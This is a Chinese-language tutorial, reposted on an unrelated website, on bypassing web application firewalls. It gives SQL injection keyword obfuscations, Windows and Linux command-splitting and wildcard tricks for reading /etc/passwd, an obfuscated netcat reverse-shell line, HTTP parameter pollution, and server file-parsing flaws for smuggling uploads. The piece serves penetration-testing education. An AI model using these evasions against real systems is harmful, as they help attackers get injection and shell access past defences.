WAF绕过拍了拍你

您所在的位置:网站首页 select 绕过 WAF绕过拍了拍你

WAF绕过拍了拍你

2023-09-06 04:15| 来源: 网络整理| 查看: 265

前言

一个安静的下午,和往常一样,逛着各大安全论坛,翻看新出的漏洞资讯,等待着下班。然而,一声不同寻常的微信消息提示音突然在我耳边响起。我立马打开微信看看是谁在这个时候找我。

妹子的要求不敢拒绝,身为菜鸡的我准备立马去学习一波waf绕过姿势。

知己知彼,了解什么是waf

身为一名合格的渗透测试人员,想要绕过waf,我们就先得先了解什么是waf。

Waf = Web Application Firewall ,web应用防火墙,简单来说就是在http协议层面对我们的数据包进行检测,如果发现了可能是带有攻击性的语句,就会进行拦截。

为了不让waf发现我们的意图,我们通常可以利用以下几种方式绕过waf检测

对抗规则绕过

原理:匹配不到恶意语句就不会拦截。

对关键字进行不同编码

select * from zzz = select * from %257a%257a%257a //url编码单引号 = %u0027、%u02b9、%u02bc   // Unicode编码adminuser = 0x61646D696E75736572 // 部分十六进制编码空格 = %20 %09 %0a %0b %0c %0d %a0 //各类编码

对关键字进行大小写变换

Union select = uNIoN sELecT

通过其他语义相同的关键字替换

And = &&Or = ||等于 = like 或综合判断if(a,b,c) = case when(A) then B else C endsubstr(str,1,1) = substr (str) from 1 for 1limit 1,1 = limit 1 offset 1Union select 1,2 = union select * from ((select 1)A join (select 2)B;hex()、bin() = ascii()sleep() = benchmark()concat_ws() = group_concat()mid()、substr() = substring()@@user = user()@@datadir = datadir()

除了通过编码等价替换等方式绕过检测,我们还能配合目标特性实现绕过检测

配合Windows特性

whoami = ((((Wh^o^am""i))))     //利用符号分割字符执行whoami

whoami = set a=net&&b=user&&call %a%%b%   //利用变量分割关键字执行whoami

set a=123whoami456     // 为了方便演示这里设置一个变量echo %a:~3,6%         // 取出变量a的第3位开始共计6个字符%a:~3,6%               //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测

配合Linxu特性

whoami = w'h'o'a'm"i" //单引号或双引号连接符,需要闭合

Cat /etc/passwd = cat /?t*/??ss** //?,*通配符 whoami = /b[12312i]n/w[23sh]oa[2msh]i //[] 通配符,匹配【】中的字符

Whoami = a=who&&b=ami&&$a$b     //当然linux下也可以变量拼接

cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd //目录穿越, /被拦截

Shell反弹也可以配合特性使用

nc -e /bin/bash 127.0.0.1 1234 =/??n/?c -e /??n/b??h 2130706433 1234 //(127.0.0.1 → 2130706433)

配合Mysql特性

/**/数据库注释符,中间部分被注释,可用于截断关键字,干扰waf匹配

User() = user/**/()   // 注释符/**/也可以用于替换空格Union select = /*95554*/Union/*test123*/select

/!/内敛注释,中间部分继续执行,mysql特有

User() = /*!user/*123*/()*/   // /*!*/内部继续执行Union select = /*!union*//*123*//*!select*/   //组合

%0a换行与#单行注释符配合使用

Union select = union#A%0aselect //用#注释,再用%0a逃出注释继续执行后面语句

配合过滤代码或漏洞本身

关键字被过滤,双写关键字

and = anandd     //将关键字过滤掉后剩下的内容组成新的关键字

通过chr()函数变换关键字

phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr (70).chr (79).chr (40).chr (41)   //将acsii码通过chr()函数转换回来

通过base_convert() 函数变换关键字

phpinfo = base_convert(27440799224,10,32) //从10进制转换成32进制http协议绕过

原理:理解不了恶意语句就不会拦截

Content-Type绕过

有的waf 识别到Content-Type类型为multipart/form-data后,会将它认为是文件上传请求,从而不检测其他种类攻击只检测文件上传,导致被绕过。

application/x-www-form-urlencoded è multipart/form-data

HTTP请求方式绕过

waf在对危险字符进行检测的时候,分别为post请求和get请求设定了不同的匹配规则,请求被拦截,变换请求方式有几率能绕过检测

Ps:云锁/安全狗安装后默认状态对post请求检测力度较小,可通过变换请求方式绕过

参数污染绕过

由于http协议允许同名参数的存在,同时waf的处理机制对同名参数的处理方式不同,造成“参数污染”。不同的服务器搭配会对传递的参数解析出不同的值。配合waf与中间件对参数解析位置不同,可能绕过waf。

提交的参数为:?id=1&id=2&id=expasp.net+iis:id=1,2,expasp+iis:id=1,2,expphp+apache:id=exp

解析特性绕过

原理:利用waf与后端服务器的解析不一致。

Iis5.0-6.0解析漏洞

.asp --> /xx.asp/xx.jpg //.asp,.asa目录下的文件都解析成asp文件.asp --> xx.asp;.jpg     //服务器默认不解析;号后面的内容

Iis7.5解析漏洞(php.ini开启fix_pathinfo)

.php --> /xx.jpg         //上传.jpg一句话,访问时后面加上/xx.php

apache解析漏洞

.php --> /test.php.php123     //从右往左,能别的后缀开始解析

nginx解析漏洞(php.ini开启fix_pathinfo)

.php --> xxx.jpg%00.php     //Nginx


【本文地址】


今日新闻


推荐新闻


    CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3